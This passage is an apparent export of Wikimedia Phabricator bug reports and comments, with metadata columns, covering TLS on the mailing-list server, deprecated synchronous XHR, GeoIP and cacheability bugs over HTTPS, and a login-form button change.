+479435,Improve SSL of lists.wikimedia.org,also note the sha1 issue is fixed ;],,,1435008927,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+475851,Improve SSL of lists.wikimedia.org,"The TLS setup on this box is definitely awful.  Many of the necessary changes are probably blocked by outdated software, so linking this to the jessie upgrade that sodium is long overdue for.",,,1434483908,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+445678,Improve SSL of lists.wikimedia.org,">>! In T90351#1215553, @Krenair wrote:
+> @DaBPunkt: Please respond.
+
+I was uncertain when I opened this bug, if it was confidential or not. I have no problem if this is switched to public (a similar bg about the OTRS is public after all).",,,1429311490,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,1,False,,,-11,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+445320,Improve SSL of lists.wikimedia.org,@DaBPunkt: Please respond.,,,1429284385,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1
+441760,Improve SSL of lists.wikimedia.org,"Does this need to be confidential, given it's just about dealing with SSL issues that anyone can see?",,,1428663795,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-3tmfmab5euy65kfc4wud,task_subcomment,,True,c3,1,True,,,-12,True,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+90328,PageTriage uses synchronous XMLHttpRequests,https://github.com/wikimedia/mediawiki-extensions-PageTriage/blob/ccaae01d5763f0a443c04838e206b82bae3dc930/modules/ext.pageTriage.util/ext.pageTriage.viewUtil.js#L52,Medium,50.0,1424498559,1458420058.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-4b52sms2clh3aqmihyxh,task_description,duplicate,True,c3,1,True,False,False,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+415933,PageTriage uses synchronous XMLHttpRequests,Cursory glance looks like this will need a refactor to use promises or some other solution. It should not be particularly hard though.,,,1424717145,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-4b52sms2clh3aqmihyxh,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+90327,Remove use of synchronous XMLHttpRequest (deprecated) ,"It's been discouraged since its inception, but has now officially been deprecated as of Chrome 40 and Firefox 30.
+
+> Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user's experience. For more help, check http://xhr.spec.whatwg.org/.
+
+http://updates.html5rocks.com/2012/01/Getting-Rid-of-Synchronous-XHRs
+
+For the web's integrity, it's unlikely the features will be removed. Though new features are requirement to not allow use of these (e.g. XHR2 features only work asynchronous). While the deprecation reasons (performance( are reason enough, having these in our code base is an additional blocker for improvements of the lower level interfaces.",Medium,50.0,1424498188,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_description,open,True,c3,1,True,False,,-19,True,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+632704,Remove use of synchronous XMLHttpRequest (deprecated) ,There's a bunch of these under SemanticForms and SemanticResultFormats,,,1458427596,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+632703,Remove use of synchronous XMLHttpRequest (deprecated) ,"`extensions/Kartographer/lib/mapbox/mapbox-lib.js:		async: false`
+There's also a bunch of these under SemanticForms and SemanticResultFormats",,,1458427450,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+632702,Remove use of synchronous XMLHttpRequest (deprecated) ,"`/srv/mediawiki/php-1.27.0-wmf.17/extensions/Kartographer/lib/mapbox/mapbox-lib.js:		async: false`
+There's also a bunch of these under SemanticForms and SemanticResultFormats",,,1458427433,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cxxkobb5a3uhcinlgjd6,task_subcomment,,True,c3,3,True,,,37,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+90270,HttpError from line 359 of EntityDataRequestHandler.php,"this very well might be a duplicate but can't find it now...
+
+/wiki/Special:EntityData/Q13529975.json   HttpError from line 359 of /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php: Failed to load entity Q13529975.
+#0 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php(378): Wikibase\Repo\LinkedData\EntityDataRequestHandler->getEntityRevision()
+#1 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/LinkedData/EntityDataRequestHandler.php(227): Wikibase\Repo\LinkedData\EntityDataRequestHandler->showData()
+#2 /srv/mediawiki/php-1.25wmf17/extensions/Wikidata/extensions/Wikibase/repo/includes/specials/SpecialEntityData.php(153): Wikibase\Repo\LinkedData\EntityDataRequestHandler->handleRequest()
+#3 /srv/mediawiki/php-1.25wmf17/includes/specialpage/SpecialPage.php(383): Wikibase\Repo\Specials\SpecialEntityData->execute()
+#4 /srv/mediawiki/php-1.25wmf17/includes/specialpage/SpecialPageFactory.php(581): SpecialPage->run()
+#5 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(270): SpecialPageFactory::executePath()
+#6 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(560): MediaWiki->performRequest()
+#7 /srv/mediawiki/php-1.25wmf17/includes/MediaWiki.php(424): MediaWiki->main()
+#8 /srv/mediawiki/php-1.25wmf17/index.php(46): MediaWiki->run()
+
+if the entity does not exist, then don't think this is such an exceptional condition or error in the software. I don't think this should go in the exception logs, together with other exception log entries.",Medium,50.0,1424462989,1439545356.0,PHID-USER-lzhljhpbm3qfphvqyill,False,PHID-USER-lzhljhpbm3qfphvqyill,False,PHID-TASK-y55q5ntddvjslwtepvr7,task_description,resolved,True,c3,1,True,True,True,-19,True,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+508156,HttpError from line 359 of EntityDataRequestHandler.php,no longer appears to be an issue,,,1439545382,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-y55q5ntddvjslwtepvr7,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+415735,HttpError from line 359 of EntityDataRequestHandler.php,"This might be an actual internal error.
+
+Where is that error from? https://www.wikidata.org/wiki/Special:EntityData/Q13529975.json and https://www.wikidata.org/wiki/Q2696099 work just fine.
+
+It seems this was produced by:
+
+```
+catch ( StorageException $ex ) {
+  wfDebugLog( __CLASS__, __FUNCTION__ . "": failed to load $prefixedId: $ex (revision $revision)""  );
+  $msg = wfMessage( 'wikibase-entitydata-storage-error' );
+  throw new HttpError( 500, $msg->params( $prefixedId, $revision ) );
+}
+```
+
+It would be nice to know the URL, $revision and $ex.
+
+The other HttpErrors where made not logable in T76458.",,,1424699947,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-y55q5ntddvjslwtepvr7,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+415734,HttpError from line 359 of EntityDataRequestHandler.php,"This might be an actual internal error.
+
+Where is that error from? https://www.wikidata.org/wiki/Special:EntityData/Q13529975.json and https://www.wikidata.org/wiki/Q2696099 work just fine.
+
+It seems this was produced by:
+
+catch ( StorageException $ex ) {
+  wfDebugLog( __CLASS__, __FUNCTION__ . "": failed to load $prefixedId: $ex (revision $revision)""  );
+  $msg = wfMessage( 'wikibase-entitydata-storage-error' );
+  throw new HttpError( 500, $msg->params( $prefixedId, $revision ) );
+}
+
+It would be nice to know the URL, $revision and $ex.
+
+The other HttpErrors where made not logable in T76458.",,,1424699900,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-y55q5ntddvjslwtepvr7,task_subcomment,,True,c3,1,True,,,-19,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+89864,Common http error response pages,"We should have default and informative 404 and 5xx pages automatically used by all tool web configs unless specified otherwise.
+
+These pages should explain to visitors what is happening/where to get help etc as best as possible. (list maintainers ?)",Medium,50.0,1424288114,1449678270.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-h75guknmwivm6x37iute,False,PHID-TASK-xgzcov33fckf5yleacjm,task_description,declined,True,c3,1,True,False,False,-20,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,1
+575636,Common http error response pages,"That used to be the case, but tool maintainers have requested that error messages from their web services be displayed untouched.  It's still the case for 503 errors (when there is no web service running), but if there //is// a service listening then its error messages are displayed.",,,1449678270,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-xgzcov33fckf5yleacjm,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+438861,Common http error response pages,"IIRC in the past the proxy overwrote individual tool error pages to ensure that the error pages clearly stated who was to blame for an error and not all reports got routed to `webmaster@tools.wmflabs.org` :-).  I think the overwrite has been disabled since, but that's still a point to consider when tackling this task.",,,1428319844,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-xgzcov33fckf5yleacjm,task_subcomment,,True,c3,1,True,,,-13,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+89860,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","""Join Wikipedia"" should be quiet, and not ""large"" style ",Medium,50.0,1424286011,1457478133.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-mq3grqzgvohikudxjqcp,task_description,resolved,True,c3,1,False,False,False,-20,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0
+634661,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 277647 merged by jenkins-bot:
+Improve sign-up portion of the login form
+
+[[https://gerrit.wikimedia.org/r/277647]]",,,1458802592,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+630432,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 277647 had a related patch set uploaded (by VolkerE):
+Follow-up to sign-up portion of the login form
+
+[[https://gerrit.wikimedia.org/r/277647]]
+",,,1458079209,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+625954,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","T85853 would only be required if we wanted it to be progressive non-primary, rather than just non-primary, as it was implemented. (The difference is mostly in text color and hover background color.)",,,1457478117,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+625930,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 275748 merged by jenkins-bot:
+Minor update on login form on layout and buttons
+
+[[https://gerrit.wikimedia.org/r/275748]]",,,1457476544,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+625201,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Change 275748 had a related patch set uploaded (by VolkerE):
+Minor update on login form on layout and buttons
+
+[[https://gerrit.wikimedia.org/r/275748]]
+",,,1457404390,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,False,,,35,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+621484,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","Well, in that case, you can't make it non-primary without switching away from mediawiki.ui first ({T85853}).",,,1456936518,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+621470,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","I think the design has changed a lot since this task was filed, and it no longer applies. The page looks like this now:
+
+{F3507957}",,,1456936037,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0
+413592,"Buttons on login page are inconsistent with the policy of ""only one primary button""; make the sign-up button unflagged primary","MediaWiki's login page currently uses MediaWiki UI styles, not OOjs UI.",,,1424286122,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-mq3grqzgvohikudxjqcp,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+89688,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"When accessing URLs over HTTPS from my IPv6 connection, I get the following header:
+> Set-Cookie: GeoIP=NL::52.3667:4.9000:v4; Path=/; Domain=.wikinews.org
+I'm obviously not in the Netherlands — this is geolocating esams' IPs (the cookie was introduced in https://gerrit.wikimedia.org/r/#/c/119014/ ).
+
+Non-HTTPS hits do not exhibit the same issue, nor are non-IPv6. This explains why this has gone undetected for as long as it has.",Medium,50.0,1424133150,1447345681.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-pelodxr7ln7yltz22fkf,task_description,resolved,True,c3,1,True,False,False,-20,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+562138,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"Basic isssue here seems resolved with https://gerrit.wikimedia.org/r/#/c/252442/ .  Obviously, we still don't have good v6 data, but that's the mmdb upgrade in T99226",,,1447345681,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+413437,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"X-Analytics=ip=..... , and as discussed before, we should do T89838 to make proxy IP management easier",,,1424275449,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1
+412862,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"> we could/should probably use everywhere to set our own custom internal header(s) to communicate the real client IP to MediaWiki and/or Analytics as appropriate.
+
+That would be amazingly useful!",,,1424197632,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+412859,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"Well, we get different versions of XFF at different layers, and there are probably different considerations for whether we trust XFF's that came from the outside world, too.  But the basics are to consider XFF + the real IP the XFF came in over as a stack of addresses, where the real IP is the virtual final element of the (possibly empty) list from XFF.
+
+We have a pretty decent implementation in VCL for dealing with this from varnish-frontend's perspective for the Zero case that we could/should probably use everywhere to set our own custom internal header(s) to communicate the real client IP to MediaWiki and/or Analytics as appropriate.  There are two views of that: one where we trust outside XFF-setting proxies, and one where we don't.  It's probably ok to trust them for stats and GeoIP, but it might not be for other cases.
+
+https://github.com/wikimedia/operations-puppet/blob/production/templates/varnish/zero.inc.vcl.erb#L13
+",,,1424197489,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+412739,Varnish GeoIP is broken for HTTPS+IPv6 traffic,"Hm, so this is an aside, but:
+I would love it if we could figure out a way to standardize this algorithm across the organization.  Analytics has at least one place where client ip extraction is done, and right now the algorithm is very naive.  We should have a canonical implementation of this (maybe just in pseudo code on wikitech) that is the official way to get client ip out of XFF.   Thoughts?
+",,,1424190097,,PHID-USER-tafngdco2cilcyr7qhhg,False,,,PHID-TASK-pelodxr7ln7yltz22fkf,task_subcomment,,True,c3,1,True,,,-20,True,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0
+89673,MediaWiki returns Cache-Control: private for all HTTPS requests,"This code:
+```
+in_array( $request->getFullRequestURL(), $requestTitle->getSquidURLs() )
+```
+is used to determine whether the current URL is cacheable. But for HTTPS views, `getFullRequestURL()` returns an HTTPS URL while `getSquidURLs()` returns an array of HTTP URLs, so the `in_array()` call will never return true and the request will never be considered cacheable.
+
+This means cache misses from HTTPS users are never used to populate the cache :(",Medium,50.0,1424118653,1424641935.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-TASK-exp5eiewwdrzilz3u4wd,task_description,resolved,True,c3,1,True,True,True,-20,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+412418,MediaWiki returns Cache-Control: private for all HTTPS requests,"Change 190945 merged by jenkins-bot:
+Fix URL comparison used for cacheability decision
+
